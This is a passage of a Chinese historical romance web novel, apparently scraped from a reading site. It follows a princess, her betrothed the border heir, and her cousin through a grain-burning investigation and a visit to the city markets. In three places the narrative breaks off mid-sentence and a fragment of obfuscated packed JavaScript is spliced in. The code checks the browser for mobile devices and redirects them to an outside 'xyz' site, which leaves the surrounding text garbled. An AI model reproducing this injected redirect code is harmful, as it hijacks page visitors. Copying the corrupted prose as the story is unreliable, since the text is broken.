这“要事”,怕不是什么“要命的事”吧。 但眼前山衣带刀挡路,她想硬冲也冲不过去。世子殿下身边的亲卫也是刀山血海杀出来的,想撂倒她身后的侍卫那是轻而易举。 封眠笑吟吟地点点头,撤回向前迈的步子,看似妥协道:“这样啊,那我先回王府等殿下好了。” 她说着转身假意要走,向身后的流萤和雾柳使了个眼色。 两人自幼跟在封眠身边,只一个眼神便了悟,瞬间一左一右地抱住了山衣的胳膊,把他往墙角拽。与此同时,封眠脚下一转就往大门冲去。 山衣傻眼:“哎哎哎你们快松开!郡主你真不能进!” 若是那两名侍卫上来将他这般抱住,他必然两下便将人掀翻在地。可如今抓着他的人是郡主身边柔柔弱弱的侍女,尤其左边这个圆脸圆眼的小丫头,瞧着比他还小两岁,摔一下不得哭半年啊…… 就在山衣被拖开,挣扎犹豫要不要对女人和小孩动手之际,封眠已用力将紧闭的府门推开,闯了进去。 进了廊下,迎面便是带着一脸劫后余生之色向大门奔来的褚景淇。 “景……”她刚吐出一个字音,便见寒芒闪烁,一柄长枪自褚景淇身侧破空而来,冷光如电,直逼她而来! 电光火石之间,前方的褚景淇仿佛被什么人狠踹了一脚一般,整个人飞身扑向她。 “砰!” 两人重重摔砸在地,眼冒金星。 长枪枪尖悬停在两人头顶三寸之处,震颤嗡鸣。视线再向上,百里浔舟一手死死攥住长枪,骤缩的瞳孔见两人皆平安无事才舒展开来,紧绷如弦的身体猛然一松,急促的喘息随着紧绷的肩膀缓缓沉下,化作一声轻吁。 百里浔舟收了长枪,单手拎着褚景淇的后脖领将他拽了起来,正要去扶封眠,褚景淇又嗷地一声扑了上去,费劲儿地将封眠半扶半抱起来。 “小表妹!你没事吧!伤着哪里没有啊?脑袋呢,我看看脑袋磕肿了没有!” 褚景淇将封眠翻来覆去地检查,掰着她的脑袋摸后脑勺有没有鼓包。 他生怕自己给人砸出毛病来了,那皇伯伯还不将他生撕了? 封眠还有懵,她这一下结结实实地摔在青砖地上,一开始的麻劲儿过了之后,细细密密的疼意便蔓了上来。 褚景淇毛手毛脚的,一指头摁在她刚磕过的肩头,疼得她嘶了一声,抬手便想将人推开。另一人比她更快地将褚景淇扒拉开。 百里浔舟没忍住冲褚景淇翻了个白眼,不耐道:“你别戳来戳去的,没事都被你戳出事来了。” 褚景淇这才注意到封眠煞白的脸色,吓得双手高举,嗫嚅道:“我那也是担心小表妹嘛……小表妹,你怎么样啊?” 封眠吸着气摆手,“让我缓缓,缓缓……” 说着眼前蓦地一黑,踉跄了两下,百里浔舟下意识便要伸手扶她。 门外又传来窸窸窣窣的声响,山衣和流萤、雾柳二人推推拉拉、跌跌撞撞地进了门。 山衣万分无奈:“郡主都进去了,你们还拦着我做什么呀?快松开松开。” “郡主没发话……郡主?!”流萤话说一半,瞥见封眠摇摇欲坠的身影,再没心思管山衣,与雾柳一个箭步冲到封眠左右将她搀住。 雾柳:“郡主你没事吧?” 封眠缓了缓,觉得自己没什么大事,便摆了摆手,“没事,就是突然晕了一下。方才摔得有点疼,,可能磕后脑了。” “你们对郡主做了什么!”流萤怒瞪在场唯二的嫌疑人。 褚景淇委屈巴巴:“我、我真不是故意的……” 他说着忽然想起什么,猛地一指百里浔舟:“他,都是他踹我,我才摔出去的!” 一脸“都是他的错,与我无关”的告状精神色。 百里浔舟收回扶了个空的手,尴尬地张了张唇,无从辩驳。长枪是他扔的,人是他踹的,虽然他扔长枪只是想钉住褚景淇的袖摆,踹褚景淇是为了救封眠,但说来说去,好像都还是他的错…… 他轻轻嗓子,难得的有些底气不足:“莫站着了,扶郡主进去说话吧。山衣,你去将府医请来。” “是!”山衣应了一声,转眼便溜了。 流萤不错眼地瞪着百里浔舟,与雾柳一起扶着封眠进了院子,“郡主,慢些走。” 褚景淇正要趁没人注意自己悄悄溜走,一杆长枪“唰”地横在他身前。 百里浔舟:“府医还没给郡主请过脉,小侯爷作为罪魁之一,就这么走了不太好吧?” “我……”褚景淇不敢置信地指了指自己,张口结舌半晌,又实在不敢真将封眠丢这儿自己跑了,只能灰溜溜地回转,跟着进屋。 我这可怜的小表妹,怎么摊上这么个煞神夫婿啊…… 幸而府医为封眠看过后说并无大碍,只开了些活血化淤的药让她每日涂抹。 一直坐立难安的褚景淇和假装很镇静的百里浔舟这才松了口气。 最初的痛感已经平复,封眠端端正正地坐在花梨木椅上,脊背挺直,免得不小心碰到椅背,又要疼一阵。 她看看左边大马金刀坐着的百里浔舟,又看看右边翘腿歪坐的褚景淇,问道:“说说吧,方才到底在闹什么?” 褚景淇一听便来劲了,腾地坐直,一拍大腿,控诉道:“小表妹你可要为九哥我做主啊!我今儿一回来,就瞧见这人土匪似的提着枪等在我们家院子里,一上来就追着我不放,我招他惹他了?” 百里浔舟冷哼一声,在封眠质问道目光中开口:“你见了我跑什么?没做亏心事,不怕鬼敲门。” “你那杀气腾腾的样儿,鬼见了鬼也得跑!” “啧。要杀你还用本世子亲自动手?” “所以世子殿下究竟为何而来?”眼见两人又要吵起来,封眠打断二人的互啄,“就算要催军费粮草,也不必带枪上门吧?” “就是就是,前几日还小侯爷小侯爷地唤得亲近,要星星不给月亮,如今押运官不过慢了几日,你就这般对我。”褚景淇点头附和,说着说着反手掩唇,一脸认真肃然地劝,“小表妹,你日后嫁予他,可千万要小心,男人的心啊,就是这么瞬息万变!” 看似在说悄悄话,实则在场的每一个人都听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036551|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得清清楚楚。 百里浔舟的手又摸向了长枪,褚景淇余光瞥见,抖了一下,默默坐正,捂住了嘴。 “慢了几日?小侯爷当真好意思说。”百里浔舟眉弓微压,锐利的视线如箭钉在褚景淇身上,“那几车粮草尽数被烧了!” “被烧了?!”褚景淇腾地起身,“这不可能!” 封眠亦是震惊地看向百里浔舟,什么人竟敢烧粮草? “就在城外十里亭。我与父王已去现场看过,确凿无疑。而且,起火前夜,有人瞧见小侯爷鬼鬼祟祟在附近转悠。父亲去查问一应相关官员,特派我来问问小侯爷去做了什么?” “你们怀疑我?”褚景淇急得跳脚,“我闲得没事干我烧粮草干什么!” 一旁封眠微微蹙起眉头,发生了这么大的事,世子和定北王一整夜未回府,她却丝毫不知。 不过她刚到北疆几日,耳目还未来得及铺开,只能徐徐图之了。 “九哥若敢烧粮草,不说律法如何,便是秦王舅舅也要先将他打个半死。其中定有误会。”封眠开口为褚景淇说话。 褚景淇小鸡啄米般点头,“还是我家小表妹明事理!” 百里浔舟上下扫他一眼,眸带不屑,“我谅小侯爷也是没这个胆子,只是有人目击,须得给个说法。并且也要问问小侯爷,当晚是去做什么的?可瞧见什么异常之处没有?” 褚景淇支支吾吾不肯答话,封眠看了都着急:“都这个时候了,九哥你还有什么秘密好遮掩的?你再不说,世子可要押你去见舅舅了!” 这话术,和民间拿阎王吓小孩一般无二。百里浔舟不大愉快地看一眼封眠,却是配合地握住了长枪,“山衣,带人……” “哎我说我说,你们可千万帮我保密,别让我娘知道了。”褚景淇挠挠头,傻笑两声,“我前些时日遇见一个姑娘,她害羞得紧,怕白日里在城中碰见熟人,便约我夜里去城外十里亭相会。” 封眠:…… 百里浔舟:…… 百里浔舟有些不敢置信地侧首看向封眠,食指点了点自己的额角,眸中尽是疑惑:“他脑子是不是有问题?” 褚景淇不满:“喂,我听得见!你们是不是想说那姑娘是个骗子?其实是外族探子?我告诉你们,绝对不可能!我阅人无数,在看人这方面从来没有错过……” 百里浔舟忍无可忍,再一次默默地拿起了长枪。封眠抢先一步道:“好了好了,表哥的能耐我们自然是知道的。只是安全起见,还是要查一下下嘛。绝对不是质疑你的意思啊,你看你堂堂小侯爷都被世子审过了,怎么也得问那位姑娘两句话不是?” “你放心,只要你如实说那个女子姓甚名谁家住何方,这事我们绝对保密。天知地知,你知我知世子……”封眠回头一看后头还站着山衣、流萤和雾柳,嘴上话头卡了一卡,才继续道,“我们几个人知,绝对不让你私会良家女子之事外传。” “那、那行吧。她虽然家世平平,不如我母亲相看的那些人家,但我可是打算明媒正娶她的,绝不是图一时新鲜。你们可千万别坏了姑娘家的名声。” 百里浔舟翻了今日第三个白眼。 封眠心下又好笑又心酸,她这傻表哥虽是绣花枕头一草包,这份为姑娘家着想的心意却是胜过了大多数男子。 只是可惜,八成是真心错付了。 18. 第 18 章 “呀,都紫了!” 窗外日影西斜,将雕花窗棂的图样拉长、变形,印在冰冷的青砖之上。 屋内灯烛煌煌,将少女们都影子叠映在锦地祥云缂丝屏风之上。 封眠趴在榻上,裸露的肩背上一片青青紫紫,莹白的肌肤衬得那一片片瘀痕格外可怖。 流萤跪坐在一旁,自阔口白瓷药瓶中剜出一点药膏,放在掌心轻揉化开,一面轻轻将化开的药膏贴在封眠肩背上的瘀痕处涂抹,一面絮叨着:“郡主就应立时回来上药,偏要在那陪坐半日,也没见世子殿下给郡主一个好脸色瞧。” 又连一句关心也无,真是气煞她了。 冰凉的药膏抹到皮肤上,凉意中还带着微微的刺痛,封眠忍不住瑟缩了一下,又不敢乱动,强自镇定地趴着。 “我又不是为了世子殿下才留下的。粮草被烧可是大事,也不知现下查得如何了……” 白日里褚景淇将知道的信息尽数交代了,末了还叮嘱着派人去寻那叫涂宓的姑娘时,别将人吓着了。 当真是心大得很。 半点也不顾虑是何人放火,又所图为何,是否还有其他地方的粮草遭殃,对他与秦王可有何影响。 也不知军中粮草如今是否还够用?云中郡虽无战事,但周边的其他州郡村落却日日皆有被劫掠的风险,若军需粮草供应不上,必然影响士气。 今日百里浔舟走得太急,她也没来得及问上一问,私下派人去打探这种军中事项吧,又实在像个细作…… 笃笃。 “郡主可睡下了?”寝殿门上映出百里浔舟高挑的身影。 他怎么来了? 封眠呆了一呆,旋即就要起身,“尚未……” 下一瞬便被流萤捂住了嘴巴摁下去,流萤压低嗓音:“祖宗,您现在如何见客啊?” 封眠讪笑,差点忘了自己此刻还衣衫不整着呢…… “快快,帮我将衣裳穿好。” 外头的百里浔舟只听见了封眠的应答声,抬手便推门。 正泡茶的雾柳丢下手中的茶壶,三两步冲到门边抵住了门。 “世子殿下请在院中稍等一等,郡主马上便好。” 门外的百里浔舟望着面前“砰”一声被抵住的门扉,略顿了顿,才意识到自己似乎不应直接推门。 往日在军中随意惯了,规矩都丢了。 他轻应了一声,转身站到了院子里,百无聊赖地展目望了望,忽然瞧见面前一株槐树上挂着个木板,上头还写着什么字。 他好奇地上前几步,瞧见上面用娟秀的小字写着:某些人禁用槐叶冷淘,可怜可叹。特赐汝名花花,且盼你繁花满枝,可做槐花麦饭聊祭五脏庙。 百里浔舟:…… 百里浔舟失笑,怎么有人还给一株树赐名,只为一口吃的? “花花,你若是不开花了,某人不会馋得哭鼻子吧?”他摸摸树干,跟一棵槐树开着玩笑。 身后传来门扉开启的声音,百里浔舟立即收了手,佯装无事发生的样子转过身,走开几步,抬眼便见封眠自门内走了出来。 封眠担心百里浔舟久等不耐,未曾梳妆,一头乌发如瀑披散,未施粉黛的素白小脸被斗篷的毛领裹着,愈显小巧俏丽。 小步跑过来时,像某些毛绒绒的小动物。 封眠一溜烟跑到百里浔舟面前,眼巴巴地仰首看他,黑而水润的瞳仁如某种宝石一般闪闪亮着。 她迫不及待地问道:“可是查出什么了?” 风送来封眠身上淡淡清甜的香气,百里浔舟鼻翼轻动,闻到了其中夹杂的药膏的味道,不答反问:“你背上的伤势如何?” “刚刚用府医给的方子上过药了,没什么大事。”封眠说着抬了抬肩,然后便痛得呲牙,灰溜溜地放下手臂。 这种摔出来的瘀伤不动时还没什么感觉,一动起来便觉酸爽得痛。 一个小巧的青瓷瓶被举到她眼前,握着瓷瓶的手指节纤长,线条流畅如同新竹。 百里浔舟:“这是军中的三七膏,活血化淤之效远胜外头的方子。” “给我的吗?”封眠惊喜抬眼,试探着伸手去拿青瓷瓶。 百里浔舟一把将瓷瓶塞她手里,郑重道:“今日确实是我鲁莽,累你受了无妄之灾,抱歉。” 少年人向来是心比天高,面子比天大,便是褚景淇这样混不吝的二世祖,迫于无奈必须道歉时也要哼哼唧唧两下。 百里浔舟却是一知错便道歉,坦坦荡荡,全无世家子的包袱。 封眠微微抿唇一笑,将瓷瓶收起来,“那就多谢世子了。” 她低头动作间,几缕乌发自肩头悄然滑落,柔柔地垂在身前。 百里浔舟的视线跟着被风吹起的发丝飘了一瞬,接着移开视线,负手而立,才回答她之前的问题:“小侯爷口中的涂宓姑娘在粮仓起火之后便消失了,山衣在附近查问一番,几乎可以确认她是个外夷探子。” “可知是哪个部族的?” “根据留下的线索,推断是阿尔纳部或乌赫族。但也不排除是其他部族做局构陷,祸水东引。” 北疆有外夷大大小小三十六部族,在永昌十七年时结盟犯边,致使昭武帝连夜下了迁都的诏书,自涿郡南下后,便被一代代定北王打散了。如今三十六部盟约已不在,内部分裂严重,狗咬狗亦是常态。 话音落地,百里浔舟就见封眠黛色眉梢轻轻皱了一下。她的眉毛也毛绒绒雾蒙蒙的,不像一般闺秀修成细细弯弯的规矩模样,颇为自然清新。 封眠:“罪魁是何人倒在其次,只是如今新到的粮草被烧了,军中将士们……” 似是没料到封眠居然会开口关心军中将士粮食够不够吃,百里浔舟略怔了怔才道:“郡主放心,疾羽营之前在狼骨岭缴了不少赃物,充公之后尚且能撑一些时日。” “此番军粮被毁时押运官还未离开,想必秦王殿下是不会推卸责任的,行事必不会再拖拉。再等些许时日,补送到第二批粮草便可到了。到时疾羽营会亲自去接。” “那便好。”封眠放下心来,脸上刚绽出一个笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036552|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,便忽地想到狼骨岭那夜,面前人将无辜富商性命视作蝼蚁草芥的模样,笑意僵了一僵。 这几日她着意让自己不去想那夜的景象,如今却再回避不得。 将士们剿匪有功,更有赃物化作军需,助他们度过难关。只是那匪首不敢置信地大声质问“这是你大雍百姓”的声音,和富商的呼救声也在她耳边回响。 她不知道自己这样矛盾的心思是不是何不食肉糜,但实在有些难以将这几日瞧见的百里浔舟和那夜杀伐狠绝的少将军联系在一起。 她扯扯嘴角,不甚自在地送客:“天色将暗,不便再待客,世子请吧。” 百里浔舟不知晓发生了什么,只觉得面前的少女似乎忽然之间疏离了起来,也有些摸不着头脑。 父亲说的不错,女人心果然如海底针。 他无意探究,东西和话都已带到,他也确实没其他事了,便微微颔首告辞。 暮色一点点吞食了天光。 雾柳手持灯烛照亮,流萤重新为封眠涂上百里浔舟送来的药膏。 流萤看着封眠一点不见好的后背,眉心皱得能夹死一只小飞虫,“郡主,你说那‘解厄星’的说法能当真吗?” “怎么突然问这个?” “奴婢觉得,世子殿下分明克郡主才对……”流萤愤愤地细数起来,“咱们在狼骨岭遇难的时候,世子也在那处。入了城,进了王府,郡主就又病了一次。再算上这次,郡主也是因为世子才受了伤。” “总之,每次遇见世子,总没好事。奴婢本还存了一点希望呢,就算这是柔妃设计您的托词,万一有个万一就成真了呢?如今看来,果然都是瞎话。” 封眠闷笑两声,才慢条斯理道:“命理之说本就玄虚,一个人的命运,只能握在自己手中。岂能去指望别人呢?更何况我与世子非亲非故,无恩无情的,就更指不住她啦。” 流萤幽幽地叹了口气,“看来还是得指着奴婢们保护郡主了。” 封眠略略抬起身子做作揖状:“是啊,小女子可全仰仗二位女侠了。” 雾柳低头浅笑,流萤噗嗤笑出声来,身子都在抖。 封眠忙趴回去避险:“好了好了,可别戳到我身上的青淤了,疼得很。” 流萤兀自乐了好一会儿才继续上药,便听封眠吩咐道:“明日去元府,代我邀元姑娘出门吧。今日还没逛什么便将人撇下了,委实有些失礼。你们两个一道去,带些礼物赔罪。” 她略一思忖,又道:“看王妃那日的态度,似乎不想我们进元府。你们去了只说是王府的人,别进府,也别打听元姑娘的私事。” “奴婢知晓。只是若元姑娘在府中不大受重视,恐怕元府奴仆亦会有所轻忽。若带着礼物去,不一定能送到元姑娘手上。”雾柳思虑更周全些,有些高门大户,恶奴欺主并不是什么新鲜事。 “也是。那便不带礼了,明日我亲自送她便是。”封眠点点头,又吩咐雾柳明日要着意将走过的每一条路都记下来。 她要自己制一张云中郡的舆图出来。 19. 第 19 章 元府最北的偏院内冷僻少人,墙根处生着几株横七竖八的苍耳,看似野生,但尚湿润的泥土显示刚刚有人为它浇过水。 竹篾编织的笸箩堆叠在院角,盛着制好的草药,数个晒药架整齐排放在院子中央,整个小院中弥漫着苦涩药香。 元寄雪一身素白襦裙,襻膊将广袖利落地挽起,露出一截纤细皓腕。她半蹲在院中自辟的小药田旁,正侍弄着自种的药材。 药田不大,却分畦列亩,井井有条。 紧闭的院门被人无理地径直推开,一个小厮不甚恭敬地站在院门口传话:“三姑娘,王府来人请您过去说话。” 元寄雪闻言抬手,双眼微微亮起,克制着眼底的雀跃之色,应声道:“我知道了,这便过去。” 她急急起身,净手解了襻膊,略理了理衣裙鬓角便准备出门,生怕让人久等。 院门没关严实,敞着一条缝。元寄雪正要开门出去,忽听见外头未走远的小厮正与人闲话。 “哎陈拾,三姑娘日后说不定就进了王府,你也不待人恭敬些。” 被唤作陈拾的传话小厮嗤笑一声:“嘁,你瞧这么多年了,世子和王妃可曾透过一点要结亲的意愿?咱们夫人已经开始给三姑娘瞧人家了,说不定哪日就嫁出去了。” “而且,咱们这位三姑娘心比天高,妄想着飞上枝头,可现下真凤凰就在王府里住着呢,不日就要嫁作世子妃了,她能有戏?” “便是费尽心机挤进王府里头,充其量也是个出不了头的侍妾。别说那些京城里的富贵高门了,就是咱们这样的人家,当家主母能不会放任这么一个心大的留府不是?” 两人冷嘲热讽地走远,孤身立于门下的元寄雪默默攥紧了掌心,未染蔻丹的指甲深陷入掌心软肉之中。 她沉默半晌,深呼吸排尽胸中浊气,昂首挺胸地踏出了院门。 待见到等在元府角门的流萤,元寄雪才知找自己的人是郡主,眸光几不可察地黯了黯。 雪月居内,封眠正看着下人在大槐树下搭秋千,一转眼便望见流萤领着元寄雪进了院门,当即高高兴兴地迎了上去,将要行礼的人扶了起来。 “元姑娘,冒昧去请你过来,没有打扰你吧?” “无妨,我本就是闲人一个。这两日除了替世子做些伤药,也没什么旁的事。”元寄雪柔柔笑着。 “世子的伤药竟是你替他做的吗?” 元寄雪点点头,语带笑意:“说来我走上医药之途,还要多谢世子。世子自幼习武征战,少不了磕碰受伤,我便学着制药,送予他随身携带。世子说我做的药好用,便一直用着了。” 流萤听着默默鼓起脸颊,这话里话外似在暗示她与世子有多亲厚,世子还对她颇有些信任依赖的样子,真是听得人不舒服。 可她又说得坦坦荡荡毫不黏糊,若要计较,倒显得自己小气吧啦了。 但流萤还是没忍住插了句嘴:“那昨夜世子殿下特特送来的三七膏也是出自元姑娘之手吗?药效确实不错,难怪世子称赞。” 元寄雪一怔,世子不是不喜这桩婚事吗?怎么还入夜来郡主的院子? 思量只一闪而过,她便压下心绪,关切地看向封眠,“郡主受伤了?” “小伤小伤,已快好了。” “那便好,说起来,给郡主制的药包已经好了。只是今日不知是郡主找我,并未带在身上。” “你我比邻,以后见面的机会还多着呢,下次带来便是。”封眠带人往寝间走,“正巧我也有东西要给你。” 被摁到梳妆镜前,元寄雪已然有些懵,待流萤和雾柳一左一右为她簪发,便更呆住了。 她今日只用枣木簪梳了个斜掠如枝头垂果的倾髻,简约非常。 雾柳拆下她发间枣木簪,换了根隔嵌银丝的竹节玉簪,青白玉色淡雅如烟。流萤取了枝满覆珍珠的雪柳系于髻周,清丽之余又多了几许俏美。 “昨日当真是对不住,这些是我予你的赔礼,你切莫推辞。”封眠双手托腮,笑吟吟地坐在一旁看着她,“都很是配你呢。” 元寄雪垂在袖间的手指攥了攥衣角,她望了望镜中自己发髻之上并不如何张扬却内蕴光华的玉簪雪柳,面上带出一个浅笑,眼角弯出恰到好处的弧度,可浓密的睫毛垂下,在眼下投出一片阴翳,喉间漫上唯有自己知道的苦涩。 “平白得了郡主这般贵重的赔罪礼,看来我定得陪着郡主踏遍云中郡才行了。” 封眠大喜拊掌:“甚合我意!雾柳,快备车。” 陪嫁中的几间铺子横跨东西两市,东市多官眷,西市多平民。马车从定北王府出发,拐过两条街,便到了西市。 两侧商铺毗连,行人如织。 封眠只坐了辆形制最普通的马车,也未挂上王府的牌子,并未引起注意。 封眠在西市只有六间铺子,两间珠宝行,一间香料坊,两间糕点铺子,还有一间绸缎庄,零零散散地分布在几条街内,都占着极好的地段。 封眠走马观花地看了,欣慰地发现几家铺子生意都还不错,接着又问元寄雪西市中百姓们最喜欢去的地方,跟着她进了人声鼎沸的瓦舍。 瓦舍挑高有三层楼,八根朱漆立柱撑起五间通堂,楼阁参差,光影错落。四面锤着各色布帘,帘上绣着些吉祥话,针脚粗疏,却朴拙自在。 一楼戏台上,敷了薄粉的伶人正甩着水袖唱着曲儿。封眠从没听过这首曲子,四下的客人们却是听惯了的,时不时叫一声好。有垂髫小儿被父亲抱在肩头,摇头晃脑咿咿呀呀地跟着唱,好生热闹。 二楼雅座竹帘半卷,三楼雅室则关着门窗,打外头一点也窥不见其中景象。 封眠好奇地左右张望,正想在一楼找个地方落座,忽听见不远处一声吆喝—— “要下注的快下注,要改投的快改投,且看咱们世子这婚能不能成!” 封眠“咻”地扭头看去。 瓦舍一角摆着个投注的赌桌,一群人挨挨挤挤围在跟前,七嘴八舌地议论着。 “我不改,这婚事定不能成!你们没瞧见,自打郡主住进王府里头,世子就没回去过几次?” “可不是吗,我也觉得这婚不能成。” “我说你们是不是疯了?这是圣上赐婚,咱们世子再不愿,怎么拒绝?” “就是,你们说着要让郡主主动知难而退,都做什么了?跑城门口丢菜还丢世子头上了,一点用没有。” “定北王府不是有先皇御赐的宝剑吗?都是能抵命的东西,拿出来退个婚也是成的吧?” “郡主到底也是个小姑娘,咱们别太过分了。让世子退婚对她也不好,不如想想怎么让郡主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036553|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主动退婚。” …… “太过分了!”流萤气得嘴巴都要咬破了,想冲过去却被封眠拽住了衣摆。 “不至于不至于。”封眠将人拽到一处空桌旁坐下,“坐下喝杯茶水,冷静冷静。” “他们那般说,您怎么一点不气啊?”流萤不甘不愿地一屁股坐下。 “他们说什么难听话了吗?” 被封眠这么一问,流萤愣了愣,“好像是没有……但是他们都在议论您和世子的婚事,还要想法子逼您退婚啊。” 她说着去问元寄雪:“元姑娘,这赌局设了多久了?” 元寄雪在三人的目光中为难地开口:“自圣旨到的那日便设下了,投注能成的人寥寥无几。” 她注视着封眠,人人都不看好她,她会作何选择呢。 封眠一手托腮,一手拿茶杯,品着茶看向热热闹闹的赌桌。 这样可不行啊。民心所向,胜之所往。若北疆百姓对她这个未来的世子妃那般排斥,日后若有异动,她如何平复百姓? 见她久久不言,连雾柳都没忍住唤了一声:“郡主?” 封眠回神,见流萤和雾柳皆是一脸担忧,弯唇笑道:“几句闲言碎语罢了,不必放在心上。兵来将挡,水来土掩。况且对这桩婚事来说,重要的还是王府的态度。” “歇一歇,我们还得去东市呢。” 东市这一逛,却让封眠瞧见个意外的人。 当时已近日暮,封眠正被流萤和雾柳从一家卖酥山的铺子里拉出来。 北疆有一点好处,便是天气暖得慢,在这冷暖交际之时,用冰制饮品果子的铺子已经开起来了。 封眠爱吃冰,但身子不好总被拘着不许多吃。现下搬出想尝一尝北地风味的理由都不被允许。 她这一出铺子门,恰好与一个大腹便便的富商擦肩而过。 封眠莫名停下脚步,回身盯住了那富商的身影。 怎么觉得他好似有些眼熟? 封眠扭身就要往回走,流萤和雾柳上前阻拦,“郡主,真的不能再吃冰了。” “放心吧,我不吃。我突然有点急事,你们快跟我进来,我给你们点酥山吃。”封眠左手抓上元寄雪,右手抓伤流萤,流萤再牵住雾柳,四个人一连串折回了铺子。 封眠径直走到了富商旁边,佯作好奇地问道:“这位老爷,您是此处常客吗?可有什么特别的推荐?” 身后三人纳闷地对视一眼,郡主方才一进来就问过店家这个问题了呀,怎的又问? 富商抬头见一年轻俏丽的小娘子向自己问话,态度十分温和:“算不得常客,只是每每行商至此,都会来此用上一碗金桃蜜雪酥山,内馅儿藏着一整颗蜜渍杏,是这家店老板的独门秘方。你若感兴趣,可以一试。” “您是行商啊?”封眠微微睁大眼,十分惊讶向往的样子,“不知是从何处来的?” “不知小娘子可听过清溪?” “您竟是从南方来的?”封眠目光中流露出敬佩,“路上可要经过狼骨岭呢,那儿的流匪可多了。您幸好是没遇上。” 富商顿时露出后怕的神色来:“怎么没碰上?我都被那匪首捉去了!” 封眠心中一跳,看来这富商八成就是那夜她在狼骨岭瞧见的商人。 他还活着?! 20. 第 20 章 富商眉飞色舞、手舞足蹈地描绘着那匪首如何凶恶,场面如何惊心动魄,周围人皆被吸引,围拢了过来,配合地发出一声声惊呼。 无需封眠再开口,已经有围观者疑惑出声:“听说狼骨岭的流匪凶恶至极,既捉了你去,你又是怎么逃出生天的?” 富商登时骄傲地挺起了大肚,双手抱拳,朝侧边虚空拜了一拜,语气充满了崇敬:“自然全赖定北王世子舍命相救啊!” “那夜匪首拿我和手下的伙计做人质威胁世子。世子起先对我等性命不屑一顾,弓弦那么一拉,箭头都对准我了!我当时那颗心啊,哇凉哇凉的,真以为自己就要命绝于此。可怜我家中尚有老幼……” 富商还想抒情一番,正听得入神的围观人员着急地发出催促声,他只能压下自己的艺术创作,继续道“结果你们猜怎么着?世子那话是说给流匪听的!趁他们没了把柄,心神不宁之际,世子一箭就射穿了挟持我的那匪首的脖子!” “那血溅得呀……”富商露出一个不堪回首的神色,“我当时还以为自己死了,腿肚子一软就躺下了,还是世子亲自将我捞起来的……” 围观众人听得兴奋,向前围拢,七嘴八舌地打听更多细节。 封眠被挤出人群,呆呆地咀嚼着方才富商说的话。 原来百里浔舟并不是那般狠辣之人,是她只听了片面之词,误会了。 她无奈地笑了一下,看来他的名声之所以传得那般凶恶,皆是因此。若不是今日见到这名富商,她怕是永远都会在心底给百里浔舟标上一个“滥杀无辜”的罪名。 “郡主?”流萤几人挤过来,碰了碰封眠。 封眠回过神来,笑道:“走吧,请你们吃酥山。可快些吃,不要馋我。” “待吃完了,咱们再继续去逛。” 可惜没能成行,时近薄暮冥冥之际,元寄雪强行勒令封眠回府。 “再不回府歇下,定又要累病了。” 旁的事情上流萤和雾柳从来都顺着封眠,一旦涉及封眠的身体健康,两人便强势起来,立即“押”着她打道回府。 回到雪月居,流萤还惦记着酥山店内,封眠对那富商的盘问。当时元寄雪在侧,她没好问郡主究竟发生了什么,是以一直憋到了回府。 封眠便将狼骨岭时自己被百里浔舟救下,又误会了他的事情,跟流萤和雾柳细细交代了。惊得流萤又掉了几颗小珍珠。 “这么惊险的事,郡主怎么不告诉我们?” “我这不是怕节外生枝嘛。好了好了,不哭了。”封眠摸摸流萤的脑袋哄着,可惜收效甚微,便只能眼神示意雾柳快快转移话题。 雾柳会意,坐到书案前展开宣纸,“郡主,今日东市还未逛多少,这舆图便先只画西市了?” 流萤见状忙擦了眼泪,跑去替雾柳磨墨。 “不着急,先慢慢画吧。” 封眠瘫在贵妃榻上,放空闭目。今日实在是将她累坏了,难得有机会如此痛快而自在地在街上游逛,封眠一时有些停不下来。 若不是元寄雪催她回府休息,她说不得真会成功把自己逛到生病。 封眠想着,元寄雪当真是个相当矛盾的女子。她的心思有些好懂,显然对百里浔舟有着少女的倾慕,因此有时对自己有些敌意,比如话语中总是若有似无地透露些许她与世子更加亲近的关系,再如今日她带自己去了瓦舍,想必是希望自己能看到百姓所设的赌局。 若此刻在王府的未来世子妃是褚景涟,怕是早就暴脾气发作,将元寄雪欺负成小白花,让自己变成众人口中蛮横霸道的恶毒河东狮了。 但元寄雪又并没有当真做些什么害人的手段,甚至也算尽心尽力地帮了她。 总的来说,顶多是个有些小心眼的小姑娘。封眠觉得若她能将心思放在别处,她们说不定还能成为不错的姐妹。 随后几日,封眠没再请元寄雪伴游,只专心观察着街上的铺子。算上游逛的时间,雾柳花了三四日将东西两市的街铺舆图画了出来。 封眠在舆图上圈圈画画,盘算着再多买下几家商铺,这样便可将两市动态尽收于眼。她派了雾柳去打听那几间铺子的情况,雾柳回来却苦着脸说了个坏消息。 